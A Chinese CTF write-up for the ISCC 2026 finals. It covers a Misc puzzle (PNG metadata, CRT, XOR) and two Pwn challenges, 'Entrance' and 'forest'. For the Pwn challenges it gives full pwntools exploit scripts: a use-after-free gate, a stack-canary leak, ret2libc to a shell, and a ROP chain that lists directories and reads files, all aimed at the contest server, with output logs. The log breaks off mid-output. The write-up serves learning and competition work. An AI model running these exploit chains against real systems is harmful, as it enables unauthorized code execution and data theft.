1 c7a182585da33e3fd0497466101c64a286f57a9b5cea86a7efbaa28e9299849b
使用该 key 对 SYNC_PAYLOAD 的 Base64 解码结果做循环 XOR,即可还原 flag。
关键命令 1 python "C:\Users\glj07\Desktop\Codex工作区\Writeup\CTF\2026ISCC\总决赛\Misc\数字奥秘\scripts\solve_digit_mystery.py"
完整关键代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 from __future__ import annotationsimport base64import hashlibimport mathfrom pathlib import Pathfrom PIL import ImageROOT = Path(r"C:\Users\glj07\Desktop\Codex工作区\Writeup\CTF\2026ISCC\总决赛\Misc\数字奥秘" ) PNG = ROOT / "outputs" / "extracted" / "challenge.bin" def crt_general (residues: list [int ], moduli: list [int ] ) -> tuple [int | None , int | None ]: x = 0 mod_product = 1 for residue, modulus in zip (residues, moduli): gcd_value = math.gcd(mod_product, modulus) if (residue - x) % gcd_value != 0 : return None , None reduced_product = mod_product // gcd_value reduced_modulus = modulus // gcd_value step = ((residue - x) // gcd_value * pow (reduced_product, -1 , reduced_modulus)) % reduced_modulus x = (x + mod_product * step) % (mod_product // gcd_value * modulus) mod_product = mod_product // gcd_value * modulus return x, mod_product def xor_repeat (data: bytes , key: bytes ) -> bytes : return bytes (byte ^ key[index % len (key)] for index, byte in enumerate (data)) def main () -> None : image = Image.open (PNG) code = image.info["SYNC_CODE" ] periods = eval (image.info["PERIODS" ]) payload = base64.b64decode(image.info["SYNC_PAYLOAD" ]) raw_lengths = [part.count("+" ) for part in code.split(">" )] sensor_data = [round (value * 0.1 ) for value in raw_lengths] merged_result, modulus = crt_general(sensor_data, periods) if merged_result is None or modulus is None : raise RuntimeError("CRT merge failed" ) sync_tag = "SYNC_SENSOR_2025" key_material = f"{merged_result} :{sync_tag} " .encode() key = hashlib.sha256(key_material).digest() flag = xor_repeat(payload, key).decode() print ("raw_lengths =" , raw_lengths) print ("sensor_data =" , sensor_data) print ("periods =" , periods) print ("merged_result =" , merged_result) print ("key_material =" , key_material.decode()) print ("key_sha256 =" , key.hex ()) print ("flag =" , flag) if __name__ == "__main__" : main()
验证输出 本地脚本输出如下:
1 2 3 4 5 6 7 raw_lengths = [1606, 2166, 10488, 14207, 5387, 9887, 9446, 206] sensor_data = [161, 217, 1049, 1421, 539, 989, 945, 21] periods = [420, 556, 1362, 1485, 886, 1426, 1057, 325] merged_result = 8317421 key_material = 8317421:SYNC_SENSOR_2025 key_sha256 = c7a182585da33e3fd0497466101c64a286f57a9b5cea86a7efbaa28e9299849b flag = ISCC{RIBkTEDubDNkfwGRc5JclDtXKMcGlITj}
使用官方站点提交该 flag,接口返回 1,表示答案正确。
问题与解决 这题最容易卡在两个位置。第一个是 challenge.bin 的扩展名误导,实际应当按 PNG 去读元信息,而不是只做普通二进制字符串搜索。第二个是 vm.py 中的 int(self.fp_reg)。如果照着源码截断浮点值,CRT 会进入错误分支,后续 XOR 也不会得到可读 flag。
通过题面提示回到虚拟机源码,确认这里应按同步数据的真实语义做四舍五入后,余数集合就能与 PERIODS 通过 CRT 合并到唯一有效的 merged_result。随后再引入同步标签 SYNC_SENSOR_2025 做 SHA256 密钥派生,整条链路就闭合了。
知识点总结 这题把 PNG 元数据、文件尾附加数据、类 Brainfuck 计数、CRT 和 XOR 加密组合在一起。做类似 Misc 时,先从文件格式边界入手很重要:既要读正常结构里的 metadata,也要检查 IEND 之后是否存在 trailer。
另一个经验是不要盲信附件里的参考 VM。题目特意留下源码时,源码本身也可能包含需要修正的缺陷。只有把源码行为、题面提示和解密结果三者同时对上,才算真正完成验证。
最终 flag 1 ISCC{RIBkTEDubDNkfwGRc5JclDtXKMcGlITj}
Pwn Entrance 题目信息
项目
内容
比赛来源
2026 ISCC
阶段
总决赛
赛项
练武题
题目分类
Pwn
题目名称
Entrance
题目 ID
55
题目地址
39.96.193.120:10007
最终 flag
ISCC{42acc744-0b81-4961-b93e-9ae06033b98e}
解题思路 这题表面上有一个看起来像“输入正确 token 才能进入后门”的流程,真正的核心其实是前半段 UAF 配合后半段两次 read。先利用 func2 里释放后复用的堆块把全局 secret 改成 0x378,随后在 func3 中进入真实溢出点。
溢出点分成两轮。第一轮利用 printf("%s.congratulate to you", buf) 在没有手动补 \x00 的情况下把栈 canary 泄露出来,再构造 puts(puts@got) 完成 libc 泄漏并返回 main。第二轮重复相同动作重新拿 canary,然后直接走最短的 ret2libc:调用 system("/bin/sh"),并且立刻补发 cat flag 命令。
这题远端最容易踩坑的地方不是 ROP 本身,而是时序。远端实际 libc 不是附件给的 2.31,而是 libc6_2.23-0ubuntu11.3_amd64。另外最终 shell 命令如果写得过长、或者在 payload 和命令之间插入额外延迟,服务端就会直接断开,导致明明链子正确却拿不到输出。把最终命令收成最短的 cat flag 之后,整条利用链就稳定了。
技术实施 先看前置门。func2 中先申请 0x48 大小的 chunk,把固定字符串 "hack" 写进去,然后立刻 free。第二次申请时,长度如果选成 72,glibc 会把同一块地址重新发回来。这样用户再输入任意内容后,程序仍旧会对那块已经被用户控制的内存执行 strncmp(ptr, "hack", 4)。只要把内容保留为 hack,全局 secret 就会被置为 0x378,后面的危险路径随之打开。
进入 func3 以后,程序先 read(0, buf, 0x49),再拿这个缓冲区直接做 %s 输出。这里构造 b"A" * 24 + b"B",让 printf 从栈上继续读,直到把 canary 后 7 字节一并带出来,再手动在前面补一个 \x00 还原真实 canary。
有了 canary 之后,第一轮 ROP 很直接:pop rdi; ret -> puts@got -> puts@plt -> main。泄露到 puts 地址后,用远端真实 libc 计算基址。第二轮再次泄露 canary,然后做:
1 2 3 4 ret pop rdi ; ret "/bin/sh" system
第二段 payload 必须填满 0x49 字节,保证后续发送的 cat flag\n 不会混进当前 read。只要在 payload 发出后立刻发送这个最短命令,shell 会直接把当前目录下的 flag 文件内容打印回来。
关键命令 1 2 wsl python3 "/mnt/c/Users/glj07/Desktop/Codex工作区/Writeup/CTF/2026ISCC/总决赛/练武题/Pwn/Entrance/scripts/solve_entrance.py" --log-level info python "C:\Users\glj07\Desktop\Codex工作区\Writeup\CTF\2026ISCC\总决赛\练武题\scripts\submit_flag.py" 55 "ISCC{42acc744-0b81-4961-b93e-9ae06033b98e}"
完整关键代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 from __future__ import annotationsimport argparseimport reimport timefrom pathlib import Pathfrom pwn import ELF, ROP, context, flat, log, process, remote, u64ROOT = Path(__file__).resolve().parents[1 ] BINARY_PATH = ROOT / "outputs" / "extracted" / "entrance" LIBC_PATH = ROOT / "outputs" / "extracted" / "libc6_2.23-0ubuntu11.3_amd64.so" HOST = "39.96.193.120" PORT = 10007 FIRST_READ_MARKER = b"hello\n" POST_STAGE1_MARKER = b"It is good to see you " BANNER_MARKER = b"*********************************************" def build_parser () -> argparse.Namespace: parser = argparse.ArgumentParser(description="Exploit script for ISCC 2026 finals Pwn challenge Entrance" ) parser.add_argument("--local" , action="store_true" , help ="Run against the local binary" ) parser.add_argument("--preload-libc" , action="store_true" , help ="Preload the provided libc in local mode" ) parser.add_argument("--host" , default=HOST, help ="Remote host" ) parser.add_argument("--port" , type =int , default=PORT, help ="Remote port" ) parser.add_argument("--binary" , default=str (BINARY_PATH), help ="Path to the challenge binary" ) parser.add_argument("--libc" , default=str (LIBC_PATH), help ="Path to the target libc" ) parser.add_argument("--log-level" , default="info" , help ="Pwntools log level" ) parser.add_argument("--no-shell" , action="store_true" , help ="Stop after libc leak" ) parser.add_argument("--interactive" , action="store_true" , help ="Drop to interactive mode after stage 2" ) parser.add_argument("--mode" , choices=("system" , "one_gadget" ), default="system" , help ="Stage-2 strategy" ) parser.add_argument( "--one-gadget-offset" , type =lambda x: int (x, 0 ), default=0x4526A , help ="one_gadget offset inside libc when --mode one_gadget is used" , ) return parser.parse_args() def start (args: argparse.Namespace ): if args.local: env = {"LD_PRELOAD" : args.libc} if args.preload_libc and Path(args.libc).exists() else None return process([args.binary], env=env) return remote(args.host, args.port) def leak_canary (io ) -> int : leak_payload = b"A" * 24 + b"B" io.send(leak_payload) data = io.recvuntil(b".congratulate to you" , drop=True ) marker = leak_payload idx = data.find(marker) if idx == -1 : raise ValueError(f"failed to locate canary marker in leak: {data!r} " ) tail = data[idx + len (marker):] if len (tail) < 7 : raise ValueError(f"short canary leak: {tail!r} " ) canary = u64(b"\x00" + tail[:7 ]) log.success(f"canary = {canary:#x} " ) return canary def seed_secret (io ) -> None : io.recvuntil(b"[System] Enter token length:" ) io.sendline(b"72" ) io.recvuntil(b"[System] Please enter the access key:" ) io.sendline(b"hack" ) io.recvuntil(FIRST_READ_MARKER) def reenter_func3 (io ) -> None : io.recvuntil(b"[System] Welcome to the system!" ) io.recvuntil(FIRST_READ_MARKER) def leak_libc (io, elf: ELF, canary: int ) -> int : rop = ROP(elf) payload = flat( b"A" * 24 , canary, b"B" * 8 , rop.find_gadget(["pop rdi" , "ret" ]).address, elf.got["puts" ], elf.plt["puts" ], elf.sym["main" ], ) io.send(payload) blob = io.recvuntil(BANNER_MARKER, drop=True ) idx = blob.find(POST_STAGE1_MARKER) if idx == -1 : raise ValueError(f"failed to locate stage1 marker in blob: {blob!r} " ) leak = blob[idx + len (POST_STAGE1_MARKER):].lstrip(b"\r\n" ) end = leak.find(b"\x7f" ) if end == -1 : raise ValueError(f"failed to locate libc high byte in leak: {leak!r} " ) leak = leak[: end + 1 ] puts_addr = u64(leak.ljust(8 , b"\x00" )) log.success(f"puts@libc = {puts_addr:#x} " ) return puts_addr def stage_two (io, elf: ELF, libc: ELF, canary: int ) -> bytes : rop = ROP(elf) bin_sh = next (libc.search(b"/bin/sh\x00" )) payload = flat( b"A" * 24 , canary, b"B" * 8 , rop.find_gadget(["ret" ]).address, rop.find_gadget(["pop rdi" , "ret" ]).address, bin_sh, libc.sym["system" ], ) payload = payload.ljust(0x49 , b"A" ) io.send(payload) io.send(b"cat flag\n" ) return io.recvrepeat(1 ) def stage_two_one_gadget (io, libc: ELF, canary: int , gadget_offset: int ) -> bytes : payload = flat( b"A" * 24 , canary, b"B" * 8 , libc.address + gadget_offset, ) io.send(payload.ljust(0x49 , b"\x00" )) time.sleep(0.2 ) io.sendline( b"echo __BEGIN__;" b"(cat /flag 2>/dev/null || cat flag 2>/dev/null || cat /home/ctf/flag 2>/dev/null || cat /home/ctf/flag.txt 2>/dev/null || pwd);" b"echo __END__; exit" ) return io.recvuntil(b"__END__" , timeout=5 ) def extract_flag (blob: bytes ) -> str | None : for pattern in ( rb"ISCC\{[^}\n]+\}" , rb"iscc\{[^}\n]+\}" , rb"flag\{[^}\n]+\}" , rb"FLAG\{[^}\n]+\}" , ): match = re.search(pattern, blob) if match : return match .group().decode() return None def main () -> None : args = build_parser() context.binary = ELF(args.binary) context.log_level = args.log_level elf = context.binary libc = ELF(args.libc) io = start(args) try : seed_secret(io) canary = leak_canary(io) puts_addr = leak_libc(io, elf, canary) libc.address = puts_addr - libc.sym["puts" ] log.success(f"libc base = {libc.address:#x} " ) if args.no_shell: return reenter_func3(io) canary = leak_canary(io) if args.mode == "one_gadget" : result = stage_two_one_gadget(io, libc, canary, args.one_gadget_offset) else : result = stage_two(io, elf, libc, canary) log.info(result.decode("latin-1" , errors="replace" )) flag = extract_flag(result) if flag: log.success(f"flag candidate: {flag} " ) if args.interactive or not flag: io.interactive() finally : io.close() if __name__ == "__main__" : main()
验证输出 利用脚本输出图如下,已经可以直接看到远端返回的 flag:
对应的关键输出为:
1 2 3 4 [*] It is good to see you ISCC{42acc744-0b81-4961-b93e-9ae06033b98e} [+] flag candidate: ISCC{42acc744-0b81-4961-b93e-9ae06033b98e}
平台自动提交通道此前返回:
问题与解决 这题前面最误导人的地方是附件里自带了一份 libc-2.31,但远端实际跑的是 2.23。如果一直按附件 libc 去对 offsets,后面无论是 one_gadget 还是常规 ret2libc 都会表现得像“差一点就对”。把 puts 泄露值丢去和远端版本对齐之后,这条歧路就能彻底排掉。
另一个关键坑点是 shell 命令长度。前面尝试过更长的命令串,比如顺带做多路径兜底和目录探测,看起来更保险,实际却会让远端连接直接收掉。这里最终反而是最短方案最稳:payload 填满当前 read,立刻补一个 cat flag,不要夹任何额外等待。
知识点总结 这题适合复习三个点:释放后复用型前置门、printf("%s") 造成的 canary 泄露,以及“利用链本身没问题,但远端交互时序会把结果吃掉”的网络侧细节。很多时候 Pwn 题后半段看起来像是在调 ROP,实际上真正要修的只是和目标服务的交互形态。
最终 flag 1 ISCC{42acc744-0b81-4961-b93e-9ae06033b98e}
forest 题目信息
项目
内容
比赛来源
2026 ISCC
阶段
总决赛
赛项
练武题
题目分类
Pwn
题目名称
forest
题目 ID
56
题目地址
39.96.193.120:10001
最终 flag
ISCC{9f88d97a-09b8-4e21-ad9f-9948b3a997c2}
解题思路 forest 的前半段和 Entrance 属于同一类“先解锁再溢出”的结构:先在 forest_lock_one 中利用释放后复用,把全局 key 改成 0x7ea;再通过 forest_lock_two 固定种子的三次 rand() 校验;最后进入主函数里的两次 read。
真正决定成败的是第二段 ROP。第一轮先利用 printf("%s") 泄露 canary,再走 puts(puts@got) 拿到远端 libc 基址,确认远端实际仍是 libc6_2.23-0ubuntu11.3_amd64。到这里为止只是常规 ret2libc。
这题后半段最漂亮的地方在于,最终并不需要拿 shell。先泄露 libc.sym["environ"],顺着栈上的环境变量指针读到字符串页,在里面可以直接找到 PWD=/ 和 ./forest_final。有了 PWD=/ 里的斜杠指针,就能在不额外写入路径字符串的前提下打开根目录,使用 getdents64 把目录项整体写入 .bss。目录列表里直接出现 flag.txt,于是第二轮只要继续复用这块 .bss 里的文件名指针,执行 open("flag.txt") -> read -> write,就能把 flag 读出来。
技术实施 第一段前置门来自 forest_lock_one。程序先申请一块 0x64 的堆内存,写入 "magic" 后立刻 free。如果下一次按用户输入重新申请长度为 100 的 chunk,glibc 会把同一块地址发回来。这样用户再次输入时,其实已经覆盖了那块原本保存 "magic" 的堆内存。只要保留前 5 个字节仍然是 "magic",后面的 strncmp(freed_ptr, "magic", 5) 就会把全局 key 置为 0x7ea,让 forest_lock_two 的三轮校验进入固定种子路径。
进入主溢出区以后,第一轮先构造 b"A" * 24 + b"B",利用 printf("%s") 在没有终止符的情况下把栈 canary 后 7 字节一并带出来,再补一个前导 \x00 还原完整 canary。随后使用 puts(puts@got) 泄露 libc 并返回 main。
关键突破点在第二阶段。与其直接盲猜 /flag、flag 等路径,不如先把路径本身找出来。这里先读 libc.sym["environ"],拿到环境变量数组在栈上的地址,再继续把字符串页整体读出。字符串页中可以稳定看到:
1 2 3 4 5 6 ./forest_final HOSTNAME=fef416282e73 HOME=/root PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin PWD=/ REMOTE_HOST=114.84.110.137
有了 PWD=/,就能直接拿到根目录路径字符串 / 的地址。随后构造一条不依赖额外输入的链:
1 2 3 4 open("/") getdents64(dirfd, .bss, 0x400) write(1, .bss, 0x400) return main
根目录目录项回显后,可以在 .bss 里找到 flag.txt 所在记录。因为 getdents64 的结果已经原样保存在 .bss,所以第三轮完全不需要再写路径字符串,只要把 d_name 的地址当成 open 参数继续复用即可:
1 2 3 open("flag.txt") read(fd, .bss, 0x100) write(1, .bss, 0x100)
最终远端直接返回 ISCC{...},整条链条结束。
关键命令 1 2 wsl python3 "/mnt/c/Users/glj07/Desktop/Codex工作区/Writeup/CTF/2026ISCC/总决赛/练武题/Pwn/forest/scripts/solve_forest.py" --log-level info python "C:\Users\glj07\Desktop\Codex工作区\Writeup\CTF\2026ISCC\总决赛\练武题\scripts\submit_flag.py" 56 "ISCC{9f88d97a-09b8-4e21-ad9f-9948b3a997c2}"
完整关键代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 from __future__ import annotationsimport argparseimport refrom pathlib import Pathfrom pwn import ELF, ROP, context, flat, log, process, remote, u16, u64ROOT = Path(__file__).resolve().parents[1 ] PWN_ROOT = Path(__file__).resolve().parents[2 ] BINARY_PATH = ROOT / "attachments" / "attachment-56" DEFAULT_LIBC = PWN_ROOT / "Entrance" / "outputs" / "extracted" / "libc6_2.23-0ubuntu11.3_amd64.so" HOST = "39.96.193.120" PORT = 10001 OVERFLOW_PROMPT = b"What do you sacrifice?\n" POST_STAGE_MARKER = b"The ghost answers with warmth.\n" ART_MARKER = b"\n *" XCHG_EDI_EAX = 0xD21B2 def build_parser () -> argparse.Namespace: parser = argparse.ArgumentParser(description="Exploit script for ISCC 2026 finals Pwn challenge forest" ) parser.add_argument("--local" , action="store_true" , help ="Run against the local binary" ) parser.add_argument("--preload-libc" , action="store_true" , help ="Preload the provided libc in local mode" ) parser.add_argument("--host" , default=HOST, help ="Remote host" ) parser.add_argument("--port" , type =int , default=PORT, help ="Remote port" ) parser.add_argument("--binary" , default=str (BINARY_PATH), help ="Path to the challenge binary" ) parser.add_argument("--libc" , default=str (DEFAULT_LIBC), help ="Path to the target libc" ) parser.add_argument("--log-level" , default="info" , help ="Pwntools log level" ) parser.add_argument( "--mode" , choices=("solve" , "list-root" , "dump-env-page" , "read-binary" ), default="solve" , help ="Execution mode" , ) return parser.parse_args() def start (args: argparse.Namespace ): if args.local: env = {"LD_PRELOAD" : args.libc} if args.preload_libc and Path(args.libc).exists() else None return process([args.binary], env=env) return remote(args.host, args.port) def unlock (io ) -> None : io.recvuntil(b"Traveler, recite the count of your wizard's note:" ) io.sendline(b"100" ) io.recvuntil(b"Carve your incantation on the rune sheet!" ) io.sendline(b"magic" ) io.recvuntil(OVERFLOW_PROMPT) def leak_canary (io ) -> int : leak_payload = b"A" * 24 + b"B" io.send(leak_payload) data = io.recvuntil(b" ... A curious gift indeed.\n" , drop=True ) idx = data.find(leak_payload) if idx == -1 : raise ValueError(f"failed to locate canary marker in leak: {data!r} " ) tail = data[idx + len (leak_payload):] if len (tail) < 7 : raise ValueError(f"short canary leak: {tail!r} " ) canary = u64(b"\x00" + tail[:7 ]) log.success(f"canary = {canary:#x} " ) return canary def leak_libc (io, elf: ELF, canary: int ) -> int : rop = ROP(elf) payload = flat( b"A" * 24 , canary, b"B" * 8 , rop.find_gadget(["pop rdi" , "ret" ]).address, elf.got["puts" ], elf.plt["puts" ], elf.sym["main" ], ) io.send(payload) blob = io.recvuntil(ART_MARKER, drop=True ) idx = blob.find(POST_STAGE_MARKER) if idx == -1 : raise ValueError(f"failed to locate stage marker in blob: {blob!r} " ) leak = blob[idx + len (POST_STAGE_MARKER):].lstrip(b"\r\n" ) end = leak.find(b"\x7f" ) if end == -1 : raise ValueError(f"failed to locate libc high byte in leak: {leak!r} " ) puts_addr = u64(leak[: end + 1 ].ljust(8 , b"\x00" )) io.recvuntil(OVERFLOW_PROMPT) log.success(f"puts@libc = {puts_addr:#x} " ) return puts_addr def build_write_chain (libc: ELF, addr: int , size: int , tail: int ) -> bytes : rop = ROP(libc) return flat( rop.find_gadget(["pop rax" , "ret" ]).address, 1 , rop.find_gadget(["pop rdi" , "ret" ]).address, 1 , rop.find_gadget(["pop rsi" , "ret" ]).address, addr, rop.find_gadget(["pop rdx" , "ret" ]).address, size, rop.find_gadget(["syscall" , "ret" ]).address, tail, ) def stage_write (io, elf: ELF, libc: ELF, canary: int , addr: int , size: int , tail: int ) -> bytes : payload = flat( b"A" * 24 , canary, b"B" * 8 , build_write_chain(libc, addr, size, tail), ) io.send(payload) blob = io.recvuntil(OVERFLOW_PROMPT, drop=False , timeout=5 ) if tail == elf.sym["main" ] else io.recvall(timeout=5 ) idx = blob.find(POST_STAGE_MARKER) if idx == -1 : raise ValueError(f"failed to locate stage marker in blob: {blob[:160 ]!r} " ) return blob[idx + len (POST_STAGE_MARKER): idx + len (POST_STAGE_MARKER) + size] def parse_getdents64 (data: bytes ) -> list [tuple [int , str ]]: entries: list [tuple [int , str ]] = [] off = 0 while off + 19 <= len (data): d_reclen = u16(data[off + 16 : off + 18 ]) if d_reclen < 19 or off + d_reclen > len (data): break raw_name = data[off + 19 : off + d_reclen].split(b"\x00" , 1 )[0 ] entries.append((off, raw_name.decode("latin-1" , errors="replace" ))) off += d_reclen return entries def open_getdents_write (io, elf: ELF, libc: ELF, canary: int , path_ptr: int , bss: int , tail: int ) -> bytes : rop = ROP(libc) payload = flat( b"A" * 24 , canary, b"B" * 8 , rop.find_gadget(["pop rax" , "ret" ]).address, 2 , rop.find_gadget(["pop rdi" , "ret" ]).address, path_ptr, rop.find_gadget(["pop rsi" , "ret" ]).address, 0 , rop.find_gadget(["pop rdx" , "ret" ]).address, 0 , rop.find_gadget(["syscall" , "ret" ]).address, libc.address + XCHG_EDI_EAX, rop.find_gadget(["pop rax" , "ret" ]).address, 217 , rop.find_gadget(["pop rsi" , "ret" ]).address, bss, rop.find_gadget(["pop rdx" , "ret" ]).address, 0x400 , rop.find_gadget(["syscall" , "ret" ]).address, rop.find_gadget(["pop rax" , "ret" ]).address, 1 , rop.find_gadget(["pop rdi" , "ret" ]).address, 1 , rop.find_gadget(["pop rsi" , "ret" ]).address, bss, rop.find_gadget(["pop rdx" , "ret" ]).address, 0x400 , rop.find_gadget(["syscall" , "ret" ]).address, tail, ) io.send(payload) blob = io.recvuntil(OVERFLOW_PROMPT, drop=False , timeout=5 ) if tail == elf.sym["main" ] else io.recvall(timeout=5 ) idx = blob.find(POST_STAGE_MARKER) if idx == -1 : raise ValueError(f"failed to locate stage marker in blob: {blob[:160 ]!r} " ) return blob[idx + len (POST_STAGE_MARKER): idx + len (POST_STAGE_MARKER) + 0x400 ] def open_read_write (io, elf: ELF, libc: ELF, canary: int , path_ptr: int , bss: int , read_size: int = 0x100 ) -> bytes : rop = ROP(libc) payload = flat( b"A" * 24 , canary, b"B" * 8 , rop.find_gadget(["pop rax" , "ret" ]).address, 2 , rop.find_gadget(["pop rdi" , "ret" ]).address, path_ptr, rop.find_gadget(["pop rsi" , "ret" ]).address, 0 , rop.find_gadget(["pop rdx" , "ret" ]).address, 0 , rop.find_gadget(["syscall" , "ret" ]).address, libc.address + XCHG_EDI_EAX, rop.find_gadget(["pop rsi" , "ret" ]).address, bss, rop.find_gadget(["pop rdx" , "ret" ]).address, read_size, elf.plt["read" ], rop.find_gadget(["pop rax" , "ret" ]).address, 1 , rop.find_gadget(["pop rdi" , "ret" ]).address, 1 , rop.find_gadget(["pop rsi" , "ret" ]).address, bss, rop.find_gadget(["pop rdx" , "ret" ]).address, read_size, rop.find_gadget(["syscall" , "ret" ]).address, elf.plt["exit" ], ) io.send(payload) blob = io.recvall(timeout=5 ) idx = blob.find(POST_STAGE_MARKER) if idx == -1 : raise ValueError(f"failed to locate stage marker in blob: {blob[:160 ]!r} " ) return blob[idx + len (POST_STAGE_MARKER):] def extract_flag (blob: bytes ) -> str | None : match = re.search(rb"ISCC\{[^}\r\n]+\}" , blob) return match .group().decode() if match else None def bootstrap (io, elf: ELF, libc: ELF ) -> tuple [int , int ]: unlock(io) canary = leak_canary(io) puts_addr = leak_libc(io, elf, canary) libc.address = puts_addr - libc.sym["puts" ] log.success(f"libc base = {libc.address:#x} " ) environ_canary = leak_canary(io) environ_ptr = u64(stage_write(io, elf, libc, environ_canary, libc.sym["environ" ], 8 , elf.sym["main" ])[:8 ]) log.info(f"environ pointer = {environ_ptr:#x} " ) env_array_canary = leak_canary(io) env_array = stage_write(io, elf, libc, env_array_canary, environ_ptr, 0x100 , elf.sym["main" ]) first_string_ptr = u64(env_array[:8 ]) if first_string_ptr == 0 : raise ValueError("failed to recover first environment string pointer" ) string_page = first_string_ptr & ~0xFFF log.info(f"environment string page = {string_page:#x} " ) return environ_ptr, string_page def find_root_pointer (env_page_addr: int , env_page: bytes ) -> int : idx = env_page.find(b"PWD=/\x00" ) if idx == -1 : raise ValueError("failed to locate PWD=/ in environment string page" ) return env_page_addr + idx + 4 def list_root (io, elf: ELF, libc: ELF, string_page: int , bss: int ) -> tuple [list [tuple [int , str ]], int ]: env_page_canary = leak_canary(io) env_page = stage_write(io, elf, libc, env_page_canary, string_page, 0x1000 , elf.sym["main" ]) root_ptr = find_root_pointer(string_page, env_page) log.info(f"root path pointer = {root_ptr:#x} " ) list_canary = leak_canary(io) raw_entries = open_getdents_write(io, elf, libc, list_canary, root_ptr, bss, elf.sym["main" ]) entries = parse_getdents64(raw_entries) return entries, bss def solve (io, elf: ELF, libc: ELF ) -> str : _, string_page = bootstrap(io, elf, libc) bss = elf.bss(0x400 ) entries, dirbuf = list_root(io, elf, libc, string_page, bss) log.info(f"root entries: {[name for _, name in entries]} " ) flag_record = next ((off for off, name in entries if "flag" in name.lower()), None ) if flag_record is None : raise ValueError("failed to locate a flag-like filename in root directory" ) flag_name_ptr = dirbuf + flag_record + 19 log.success(f"flag filename pointer = {flag_name_ptr:#x} " ) read_canary = leak_canary(io) data = open_read_write(io, elf, libc, read_canary, flag_name_ptr, bss) flag = extract_flag(data) if flag is None : raise ValueError(f"failed to extract flag from output: {data[:160 ]!r} " ) return flag def main () -> None : args = build_parser() context.binary = ELF(args.binary) context.log_level = args.log_level elf = context.binary libc = ELF(args.libc) io = start(args) try : if args.mode == "solve" : flag = solve(io, elf, libc) log.success(f"flag candidate: {flag} " ) print (flag) return _, string_page = bootstrap(io, elf, libc) bss = elf.bss(0x400 ) if args.mode == "dump-env-page" : canary = leak_canary(io) env_page = stage_write(io, elf, libc, canary, string_page, 0x1000 , elf.plt["exit" ]) print (env_page.decode("latin-1" , errors="replace" )) return if args.mode == "list-root" : entries, _ = list_root(io, elf, libc, string_page, bss) for offset, name in entries: print (f"{offset:04x} {name} " ) return if args.mode == "read-binary" : canary = leak_canary(io) env_page = stage_write(io, elf, libc, canary, string_page, 0x1000 , elf.sym["main" ]) exec_idx = env_page.find(b"./forest_final\x00" ) if exec_idx == -1 : raise ValueError("failed to locate ./forest_final in environment page" ) path_ptr = string_page + exec_idx read_canary = leak_canary(io) data = open_read_write(io, elf, libc, read_canary, path_ptr, bss) print (data[:0x100 ].decode("latin-1" , errors="replace" )) return raise ValueError(f"unknown mode: {args.mode} " ) finally : io.close() if __name__ == "__main__" : main()
验证输出 利用脚本输出图如下,可以看到根目录枚举结果和最终 flag:
对应的关键输出为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 [*] '/mnt/c/Users/glj07/Desktop/Codex工作区/Writeup/CTF/2026ISCC/总决赛/练武题/Pwn/forest/attachments/attachment-56' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No [*] '/mnt/c/Users/glj07/Desktop/Codex工作区/Writeup/CTF/2026ISCC/总决赛/练武题/Pwn/Entrance/outputs/extracted/libc6_2.23-0ubuntu11.3_amd64.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [x] Opening connection to 39.96.193.120 on port 10001 [x] Opening connection to 39.96.193.120 on port 10001: Trying 39.96.193.120 [+] Opening connection to 39.96.193.120 on port 10001: Done [+] canary = 0x25e53689914c9400 [*] Loaded 14 cached gadgets for '/mnt/c/Users/glj07/Desktop/Codex工作区/Writeup/CTF/2026ISCC/总决赛/练武题/Pwn/forest/attachments/attachment-56' [+] puts@libc = 0x7fef28b146a0 [+] libc base = 0x7fef28aa5000 [+] canary = 0x25e53689914c9400 [*] Loaded 171 cached gadgets for '/mnt/c/Users/glj07/Desktop/Codex工作区/Writeup/CTF/2026ISCC/总决赛/练武题/Pwn/Entrance/outputs/extracted/libc6_2.23-0ubuntu11.3_amd64.so' [*] environ pointer = 0x7ffe781315d8 [+] canary = 0x25e53689914c9400 [*] environment string page = 0x7ffe78131000 [+] canary = 